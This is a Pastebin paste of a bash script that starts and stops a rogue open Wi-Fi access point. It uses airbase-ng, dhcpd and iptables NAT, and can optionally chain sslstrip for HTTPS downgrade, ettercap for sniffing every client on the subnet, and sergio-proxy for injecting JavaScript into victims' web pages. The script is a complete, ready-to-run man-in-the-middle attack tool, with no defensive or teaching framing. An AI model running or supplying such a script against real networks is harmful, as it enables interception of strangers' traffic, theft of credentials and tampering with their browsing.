Advertisement
Guest User

Rogue_AP_bash

a guest
Aug 21st, 2019
51
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 3.55 KB | None | 0 0
  1.     #!/bin/bash
  2.      
  3.     ############# Configuration constants ###########
  4.      
  5.     LOGS_PATH="/home/me/tests/fakewifilogs/$(date '+%Y-%m-%d_%H-%M')"
  6.      
  7.     OUTPUT_INTERFACE="wlan0"
  8.     ROGUE_AP_INTERFACE="wlan1"
  9.     ROGUE_AP_CHANNEL=6
  10.     ROGUE_AP_SSID="OpenWifi"
  11.     DHCPD_CONF_FILE="/etc/dhcp/dhcpd_ap.conf"
  12.     USE_SSLTRIP="no"
  13.     USE_ETTERCAP="yes"
  14.     USE_SERGIO="no" # Note: incompatible with USE_SSLSTRIP (also launches its own SSL strip tool)
  15.      
  16.     ###############################################
  17.      
  18.     if [ "$1" == "stop" ];then
  19.         echo "Killing Airbase-ng..."
  20.         pkill airbase-ng
  21.         sleep 3;
  22.         echo "Killing DHCP..."
  23.         pkill dhcpd
  24.         rm /var/run/dhcpd.pid
  25.         sleep 3;
  26.         echo "Flushing iptables"
  27.         iptables --flush
  28.         iptables --table nat --flush
  29.         iptables --delete-chain
  30.         iptables --table nat --delete-chain
  31.         if [ "$USE_SSLTRIP" == "yes" ]
  32.         then
  33.             echo "killing sslstrip"
  34.             killall sslstrip
  35.         fi
  36.         if [ "$USE_ETTERCAP" == "yes" ]
  37.         then
  38.             echo "Kill all ettercap"
  39.             killall -9 ettercap
  40.         fi
  41.      
  42.         if [ "$USE_SERGIO" == "yes" ]
  43.         then
  44.             echo "Kill sergio proxy"
  45.             pkill -9 -f sergio-proxy
  46.         fi
  47.      
  48.         echo "disabling IP Forwarding"
  49.         echo "0" > /proc/sys/net/ipv4/ip_forward
  50.      
  51.         echo "Stop airmon-ng on mon0"
  52.         airmon-ng stop mon0
  53.      
  54.     elif [ "$1" == "start" ]
  55.     then
  56.         echo "Tools output stored in ${LOGS_PATH}"
  57.      
  58.         mkdir -p "${LOGS_PATH}"
  59.      
  60.         echo "Putting card in monitor mode"
  61.         airmon-ng start $ROGUE_AP_INTERFACE
  62.         sleep 5;
  63.         echo "Starting Fake AP..."
  64.         airbase-ng -e "$ROGUE_AP_SSID" -c $ROGUE_AP_CHANNEL mon0 &
  65.         sleep 5;
  66.      
  67.         echo "configuring interface at0 according to dhcpd config"
  68.         ifconfig at0 up
  69.         ifconfig at0 192.168.3.1 netmask 255.255.255.0
  70.         echo "adding a route"
  71.         route add -net 192.168.3.0 netmask 255.255.255.0 gw 192.168.3.1
  72.         sleep 5;
  73.         echo "configuring iptables"
  74.         iptables -P FORWARD ACCEPT
  75.         iptables -t nat -A POSTROUTING -o $OUTPUT_INTERFACE -j MASQUERADE
  76.         if [ "$USE_SSLTRIP" == "yes" ]
  77.         then
  78.             echo "setting up sslstrip interception"
  79.             iptables -t nat -A PREROUTING -p tcp -i at0 --destination-port 80 -j REDIRECT --to-port 15000
  80.      
  81.             echo "SSLStrip running... "
  82.             sslstrip -w ${LOGS_PATH}/SSLStrip_log.txt -a -l 15000 -f &
  83.             sleep 2;
  84.         fi
  85.      
  86.         echo "clearing lease table"
  87.         echo > '/var/lib/dhcp/dhcpd.leases'
  88.      
  89.         cp ./dhcpd.conf $DHCPD_CONF_FILE
  90.         echo "starting new DHCPD server"
  91.         ln -s /var/run/dhcp-server/dhcpd.pid /var/run/dhcpd.pid
  92.      
  93.         dhcpd -d -f -cf "$DHCPD_CONF_FILE" at0 &
  94.         sleep 5;
  95.         if [ "$USE_ETTERCAP" == "yes" ]
  96.         then
  97.             echo "Launching ettercap, spy all hosts on the at0 interface's subnet"
  98.             xterm -bg black -fg blue -e ettercap --silent -T -q -p --log-msg ${LOGS_PATH}/ettercap.log -i at0 // // &
  99.             sleep 8
  100.         fi
  101.      
  102.         if [ "$USE_SERGIO" == "yes" ]
  103.         then
  104.             iptables -t nat -A PREROUTING -p tcp -i at0 --destination-port 80 -j REDIRECT --to-port 15000 # Redirection de http vers port 15000
  105.             echo "Starting segio proxy to inject javascript"
  106.             /opt/sergio-proxy/sergio-proxy.py -l 15000 --inject  --html-url "http://192.168.3.1/index" -w ${LOGS_PATH}/SSLStrip_log.txt -a -k  & #  --count-limit 2
  107.         fi
  108.      
  109.         echo "Enable IP Forwarding"
  110.         echo "1" > /proc/sys/net/ipv4/ip_forward
  111.      
  112.     else
  113.         echo "usage: ./rogueAP.sh stop|start"
  114.     fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement